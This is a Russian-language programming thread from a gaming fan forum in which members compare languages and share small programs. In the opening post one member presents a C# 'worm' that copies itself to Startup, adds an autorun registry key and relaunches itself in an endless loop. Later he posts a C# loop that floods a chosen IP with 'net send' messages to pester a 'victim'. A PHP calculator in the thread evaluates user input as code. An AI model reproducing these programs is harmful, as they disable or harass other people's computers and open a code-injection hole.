Помощь - Поиск - Пользователи - Календарь
Полная версия: Программирование
Форум Command & Conquer > Другие интересы > Разное
Страницы: 1, 2, 3, 4
~IL~
здрасте все, кто сюда забрёл
всем форумчанам предлагаю поучаствовать в этой теме

мне хотелось бы, чтобы любители программирования (надеюсь таковые найдутся) поделились своим опытом друг с другом, а так же привлекали новичков в свои ряды. 54.gif

ещё неплохо было бы если бы вы написали, на чём вы программируете и в чём достоинства вашего языка или компилятора.

я недавно начал программировать на C#. компилятор SharpDevelop 3.2
мне нравится этот компилятор, очень удобный интерфейс, доступ к свойствам объектов открывается через точку, так же сразу создается ехе-файл, который готов к употреблению)

до этого писал простенькие программки типа калькулятора)
щас представляю на ваш суд код своего червячка))
показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
using System.Resources;

namespace a
{
public partial class MainForm : Form
{
public MainForm()
{
Opacity = 0;
//InitializeComponent();
string my_program_path = Application.ExecutablePath.ToString(); //путь к нашей проге
string executable_file_path = "c:/documents and settings/all users/главное меню/программы/автозагрузка/err.exe"; //будущий путь к нашему вирусу

//копирование вируса в автозагрузку
if (!File.Exists(executable_file_path))
File.Copy(my_program_path, executable_file_path);

//запись в реестр
string reg_folder = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\";
RegistryKey reg = null;
reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
if (reg != null)
{
reg.SetValue("my_autorun", executable_file_path);
}

//тело вируса
while (true)
Process.Start(executable_file_path);

//удаление из реестра
//reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
//reg.DeleteValue("my_autorun");

}
}
}

кому что будет не понятно - с радостью объясню)
Nomad
Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?
Akellis
Когда программировал на Unity Javascript, пришлось его выучить =D
Сейчас, так как занимаюсь Саурсом, приходится программировать на C++. Слава богу есть средние знания, по крайней мере могу понять, где ошибка, с лёгкостью читать исходники =D
Куков
Раньше с легкостью программировал на VB 6 и паскале, учился работать на с++ и с++.net , но егэ и прочие дела мешают заниматься программированием как хобби.

Использую майкрософт висуал студио - 8ую для с++ и какую то 99 года для VB 6
IwanS
Ох ну и тема 54.gif Программирую на QBasic, TPascal, C++, C#, есть проекты на Java (надо было написать, сам язык я не учил). Ну и традиционное PHP, JS и т.п. Лучше всего знаю PHP и C++. Проще всего программировать на C#, по-моему. Из сред использую Visual Studio 2008 и Borland Pascal 7 и MS QB1.0.

Что-нибудь показать... Ну на php написал вот это http://fs.xtud.ru/ и вот это http://math.xtud.ru/ . На C++ написал вот это, просто демонстрация классов и наследований. Так, что еще... На паскале и басике ниче не хочу показывать, это детсад, у меня на форуме 25 страниц басикного кода, и это еще не считая удаленных сообщений, а то так было бы все 50.

В догонку хочу сказать, что программировать на чистом C# бессмысленно, любой программист C# должен уметь использовать .net библиотеки и знать об их функциях и возможностях, и очень желательно графику.

Какие мысли по этому поводу? Ненавижу задротство с типами данных в C++ ограниченность библиотеки math.h в вопросах работы с системами счисления.
Куков
А вот код вируса я бы попросил удалить ибо без того этого Г хватает. 40.gif

Я бы тебе посоветовал не червяков писать, а что нить полезное.

Мой самый первый проект 54.gif делая его я обучался бейсику. )
Нажмите для просмотра прикрепленного файла
user№3213
можно один вопрос
для чего предназначены различные языки?
я не говорю конкретно какой, я спрашиваю в общем.
Куков
Ну дак их писали разные люди для разных целей и каждый считает(ну наверняка) что его язык лучше(я знаю только 3 разных компилятора с++ а их скорее всего больше), другое дело что язык может устареть и потому сравнить паскаль и визуал С нельзя, ну только если синтаксис.

Другое обьяснение: вот скажем VB придуман специально для того что бы писали программы для виндоус, и он в люниске работать не будет.

Затем языки для веб технологий на с++ сайты не пишут а вот на PHP пишут

И так можно продолжать долго. Короче говоря каждый язык создан для своей ниши с целью переплюнуть конкурентов, или для того что бы упростить процесс создания программ(но и это селано что бы переплюнуть конкурентов XD)
GraYaSDF
Есть базовые знания Turbo Pascal и Borland Delphy. В основном программирую с помощью Action Script (специализированный язык). Опыт - более 5 лет.
Dukat863
Программирую на C++ и GML (Game Maker Language).

Люблю следующую конструкцию (интерпретатор позволяет):
показать офф-топ
Код
//GML, не C++

switch (true)
{
case (msg='help'):break;
case (msg='exit'):break;
}
~IL~
я пока ещё только начинающий программист, и буду очень рад сотрудничеству
я тут нашёл штуковину "индусский код"=) такая тема прикольная
вот ссылка больше всего радует пример №4 54.gif
и ещё быдлокод на C++, где заменяются команды языка на свои) и пишешь в свободном стиле
кстати этот код компилируется и исполняется (считает элементы массива, и ещё чё-то...)
быдлокод прикрепляю в файле, потому что там много мата))) компилятор нашего форума не одобрит)
Anubis
Шикарная ссылка)))
~IL~
Цитата(Nomad @ 10.6.2010, 11:01) *

Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?

честно говоря никак)
мы прошли С++ и С#-немного... у нас препод пишет проги на C# в основном.
ночами работает, на парах спит.
в школе проходил Q-Basic и Turbo Pascal
паскаль прошел мимо))) да и бейсик уже плохо помню)

Цитата(IwanS @ 10.6.2010, 13:30) *

=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))
это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...

у меня завтра как раз экзамен по статистике) там есть вопрос об интервальных статистических рядах... такая муть..
IwanS
Цитата
=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...

На си есть стандартная функция вычисления определенного интеграла, это понятно. Но в PHP нет никаких средств для решения интегралов, вот и приходится методом трапеций считать. Конечно, можно найти первообразную, но это задротство.

Код этой фигни, которую я сделал, вот:

показать офф-топ
Код
<?php

function funcparce($x, $func) {
    $func = str_replace('x', '$_SESSION["x"]', $func);
    $_SESSION["x"] = $x;
    if (!file_exists('./exec.php')) {
        $fid = fopen('./exec.php', 'wt');
        fwrite($fid, '<?PHP $_SESSION["result"] = '.$func.'; ?>');
        fflush($fid);
        fclose($fid);
    }
    require('./exec.php');
    $result = $_SESSION['result'];
    return $result;
    }

$_SESSION['title'] = 'Определенный интеграл';

include '../tpl/header.php';

if ($_POST['step'] == '') $_POST['step'] = '0.0001';
if ($_POST['step'] < 0.0001) $_POST['step'] = '0.0001';

echo '<center><form action="./index.php" method="post"><table border="0" width="300px">';
echo '<tr><td width="30px"><input type="text" size="2" name="up" value="'.$_POST['up'].'"></td><td></td></tr>';
echo '<tr><td width="30px"><img src="int.png"></td><td><input type="text" size="30" name="int" value="'.$_POST['int'].'">&nbsp;<i>dx</i></td></tr>';
echo '<tr><td width="30px"><input type="text" size="2" name="dn" value="'.$_POST['dn'].'"></td><td></td></tr>';
echo '</table>Укажите точность: <input type="text" size="5" name="step" value="'.$_POST['step'].'">&nbsp;<input type="submit" value="РЕШИТЬ!"></form></center>';

echo '<div class="topinfo"><b>Внимание: </b>функция степени пишется как pow(основание, степень). Если интеграл не решается, нажать <a href="./fix.php">сюда</a> и попробовать снова! Если интеграл все равно не считается (в случае если пределы интегрирования отличаются значительно, поставьте меньшую точность.</div><br>';

if ($_POST['int'] != '') {
    if ($_POST['up'] > $_POST['dn']) { $up = $_POST['up']; $x = $_POST['dn']; $mn = 1; } else { $up = $_POST['dn']; $x = $_POST['up']; $mn = -1; }
    $step = $_POST['step'];
    $y = funcparce($x, $_POST['int']);
    while ($x <= $up) {
        $pry = $y;
        $x = $x + $step;
        $y = funcparce($x, $_POST['int']);
        $fsum = $fsum + ($pry + $y)*$step/2;
        }
    unlink('./exec.php');
    $fsum = $fsum * $mn;
    if ($_POST['up'] == $_POST['dn']) $fsum = 0;
    echo 'Искомый интеграл = '.$fsum;
    }

include '../tpl/footer.php';

?>




Кстати вдогонку насчет индусского программирования. Вот вам прога, где идет генерация из одного RND, то есть обычная ситуация:

показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT(RND * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i


А вот прога, где идет то что упомянуто в статье, то есть (RND+RND+RND)/3:

показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT((RND + RND + RND) / 3 * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i


Для тех кто в танке, N = количество проходов, имеет смысл ставить значение 1000...1000000, лучше конечно миллион.

Обратите внимание на распределение случайной величины в зависимости от одного рандомайза, и трех. Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...
LostLegion
А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif
Avenger
Цитата(LostLegion @ 10.6.2010, 21:31) *

А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif

Думаю лучше с Паскаля. Старая школа...
~IL~
Цитата(Avenger @ 10.6.2010, 22:08) *

Думаю лучше с Паскаля. Старая школа...

мне кажется не важно с чего начинать
лучше уже сразу с того языка, который тебе нужен
главное - хороший учебник.. или учитель)
IwanS
Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.

Кстати насчет генерации случайных чисел в C++:

Вот прога, которая генерирует числа с одним rand():

показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;

int main() {
    int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
    srand(time(NULL));
    
    cout << "Enter cycles reply: ";
    cin >> n;
    for (cnt = 1; cnt < n; cnt++) {
        x = (int)(rand() % 10)+1;
        w[x] = w[x] + 1;
    }
    cout << endl;
    for (cnt = 1; cnt < 10; cnt++) {
        cout << cnt << " (" << w[cnt] << ") = \t";
        for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
        cout << endl;
    }
    cin >> cnt2;
    return 0;
}


а вот прога, которая делает то же самое с тремя rand():

показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;

int main() {
    int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
    srand(time(NULL));
    
    cout << "Enter cycles reply: ";
    cin >> n;
    for (cnt = 1; cnt < n; cnt++) {
        x = (int)((rand()+rand()+rand()) / 3 % 10)+1;
        w[x] = w[x] + 1;
    }
    cout << endl;
    for (cnt = 1; cnt < 10; cnt++) {
        cout << cnt << " (" << w[cnt] << ") = \t";
        for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
        cout << endl;
    }
    cin >> cnt2;
    return 0;
}


Вот такие пироги. Так что если кто-то из вас умеет программировать, вперед проверять гипотезу о нормальном распределении среднеарифметического трех случайных.
Avenger
Да, ладно. В Паскале всё очень просто и доступно изложено. Это как стартовая площадка.

Цитата(IwanS @ 10.6.2010, 22:53) *

Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.

Верно, он никому не нужен. Но что бы понять основы, он подойдёт.
IwanS
Цитата
Верно, он никому не нужен. Но что бы понять основы, он подойдёт.

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.
Avenger
Цитата(IwanS @ 10.6.2010, 23:12) *

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.

Да, современности. Он мне и сам нравиться. Но сейчас некоторые пользователи начинают перебираться на Java.
Nomad
ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)
Avenger
Цитата(Nomad @ 10.6.2010, 23:18) *

ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)

Отжог... 06.gif Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.
GraYaSDF
Цитата(LostLegion @ 10.6.2010, 21:31) *

А я вот не умею пока программировать) Посоветуйте с чего лучше начинать 54.gif

Паскаль, Бейсик, просто логику поизучай, пригодится в жизни, если ты технарь 64.gif

А я сейчас оптимизацией графики и кода занимаюсь. Осталось почитать о симбиозе Delphi и Flash, эта штука может серьезно повысить скорость обработки кода. Так что мой двиг для Flash скоро будет готов 27.gif , и если я это сделаю, то я перейду на другие языки.
~IL~
Цитата(IwanS @ 10.6.2010, 21:01) *

Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...

я попробовал
и действительно!!
я в шоке!! 08.gif
спасибо, иванс) завтра буду мучать препода 18.gif
зы. точнее сегодня)
Nomad
Цитата(Avenger @ 10.6.2010, 22:22) *

Отжог... 06.gif Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.

Нет ну серьезно 54.gif
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается 36.gif ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах
Dukat863
Цитата(Nomad @ 11.6.2010, 10:55) *

Нет ну серьезно 54.gif
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается 36.gif ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах

Код
//С++
sqrt(/*число*/);

Вот тебе и ответ 16.gif

Я советую начинать с бейсика.
IwanS
Цитата
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась

Ох и программисты у вас (у меня ушло 2 минуты)...

Код
uses crt;
var
   a : real;
begin
     clrscr;
     write('Input value: ');
     readln(a);
     writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
     readkey;
end.


Цитата
Я советую начинать с бейсика.

Изображение
~IL~
Цитата(~IL~ @ 11.6.2010, 1:15) *

я попробовал
и действительно!!
я в шоке!! 08.gif
спасибо, иванс) завтра буду мучать препода 18.gif
зы. точнее сегодня)

цитирую сам себя, ибо понял в чём фишка))
препода мучить не пришлось)
очевидно, что вероятность нахождения двух и более случайных величин по разные стороны от центра больше, чем по одну сторону, значит и их средняя будет ближе к центру, вот и холмик))
хотя насчёт нормального распределения я бы не стал так категорически заявлять... но в пределе это однозначно будет нормальным

что насчёт "с чего начать программировать?" думаю всё таки лучше C# ну или C++, потому что там есть MSDN на русском языке, можно зайти и посмотреть чё да как, да и форумов на эту тему больше.. и сама логика языка заставляет писать правильный код...
как сказал наш препод, если вы не знаете как именно надо писать, но вам кажется что надо так, то скорее всего так и надо)

Цитата(IwanS @ 11.6.2010, 14:18) *

Ох и программисты у вас (у меня ушло 2 минуты)...

Код
uses crt;
var
   a : real;
begin
     clrscr;
     write('Input value: ');
     readln(a);
     writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
     readkey;
end.


пробовал написать..
пишет инвалид файл нейм. еррор 14.
имя вроде английское
хотя я хотел спросить только что означает a:4:2
просто я уже очень давно на нем ниче не делал)
Avenger
Мне предстоит задача - написать на С++ Генетический алгоритм. 39.gif
IwanS
Цитата
пробовал написать..пишет инвалид файл нейм. еррор 14.

Неверно указан рабочий каталог или файл библиотек. Прога рабочая 100%.

Насчет нормального распределения... х\з, х\з. Я не хочу даже думать об этом.
~IL~
представляю еще один каверзный код на C# =)
с помощью него можно заспамить кого-нибудь сообщениями
единственная проблема - служба сообщений, она отключена по умолчанию
панель управления - администрирование - службы

если вам удастся запустить эту службу на чужом компе, тогда этим кодом можно немного пошалить)))
показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.Diagnostics;

namespace OXO
{
public partial class MainForm : Form
{
public MainForm()
{
InitializeComponent();
while (true)
Process.Start("net", "send 192.168.3.155 Привет!");
}
}
}


вот то что ваша жертва будет видеть на экране, причём кликать на OK бесполезно) ибо там ещё сотни таких окошек 18.gif

зы. до среды меня не будет, присылайте свои интересные коды и идеи!=)
IwanS
Цитата
представляю еще один каверзный код на C# =)с помощью него можно заспамить кого-нибудь сообщениями

Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.
~IL~
Цитата(IwanS @ 12.6.2010, 10:43) *

Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.

вообще-то нет.. там просто у тебя вылезает пустое окошко, когда ты его закрываешь, прога останавливается))
пардон, скоро переделаю)
MiG-27
Ну, собственно и я тудь отпостюсь)
пытался програмировать на Pas Delfi Basic PHP и много еще на чем
Реально програмироваю: C++ HTML java script =)
user№3213
HTML это не язык программирования) сам имею опыт работы на нём, одна проблема, практики нет 48.gif 17.gif
MiG-27
как не язык?
как нет практики?
заходи на юкоз и ваяй)
IwanS
Язык программирования - это такой, который может что-то посчитать. HTML не может сделать абсолютно ничего, он может только выводить всегда одинаковую страницу. Вывод: HTML - язык разметки.

Кстати на uCoz используется не HTML, а их собственный основанный на HTML код. Добавки - это операторы и переменные.
Dukat863
Решил почитать эл. книгу по Ассемблеру. Прочитал чуть-чуть и уже голова болит... 16.gif
Diamond00744
Немного знаю Pascal и Delphi.

Текстовый редактор "Black Note", Скины для "Black Note", КалькулятЕр, Разрешение экрана, Sphere-Браузер, Проигрыватель, Бесплатные голоса для В Контакте

----------------------------------------
ФАЙЛЫ БЕЗ ВИРУСОВ! ПРОВЕРЕНО VIRUSTOTAL
----------------------------------------
Bonpoc4er
Diamond00744
а бесплатные голоса работают? ))
GraYaSDF
Цитата(Diamond00744 @ 25.7.2010, 22:45) *

И все недоделано 18.gif

Не удивляйся, у меня тоже много недоделано. Это бывает так, раз - идейка, поделаем ее немного, потом уже надоедает. Лично у меня так.
Diamond00744
BONPOC 4 ER, скачай и посуди сам)))
Щука Карась
Хммм не кидайтесь в меня тухлым тиберием но я пока только турбо паскаль осваиваю. С оператором case пытаюсь разобраться...
Diamond00744
Цитата
Лет в интернете: 4-5

Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.
Dukat863
Цитата(Diamond00744 @ 27.7.2010, 0:23) *

Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.

Голограммы?
показать офф-топ
Изображение
Изображение
Изображение
Изображение
Изображение

Уже поздно...
Diamond00744
Вот когда они в повседневную жизнь войдут, ты их новые и будешь разрабатывать.
"Мониторы? Уже поздно! Ан нет! Придумаю ка я ЖК монитор!"
Вот так же и ты!
Куков
Цитата(Diamond00744 @ 25.7.2010, 22:13) *

BONPOC 4 ER, скачай и посуди сам)))

Кстати качаете вы это на свой страх и риск 16.gif
Diamond00744
Я писал эту прогу на Delphi. Все чисто. У меня NOD32.

Отправил на VirusTotal. Он проверил этот архив 41 антивирусами. 13 что-то обнаружили.

http://www.virustotal.com/ru/analisis/93d8...2135-1280242842

Хотя файл EXE уже кто-то до меня проверял. Результат (VirusTotal) - 4/41

Неужели мои работы в вирусах?

Отправил "Разрешение экрана" туда же. Результат: 0 (http://www.virustotal.com/ru/analisis/ad55...91d7-1280244311)
IwanS
Diamond00744, может ты библиотеку какую-то специфическую использовал там? Ведь не обязательно вся прога вирус, достаточно одну функцию какую-то.

P.S: я знаю о вирусах, которые сами приписываются к проектам на делфи и при компиляции включаются в них. То есть рекомендую открыть исходный проект и посмотреть подключаемые модули.
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.
Русская версия Invision Power Board © 2001-2024 Invision Power Services, Inc.
Конвертация из ExBB - TSB Scripts 2008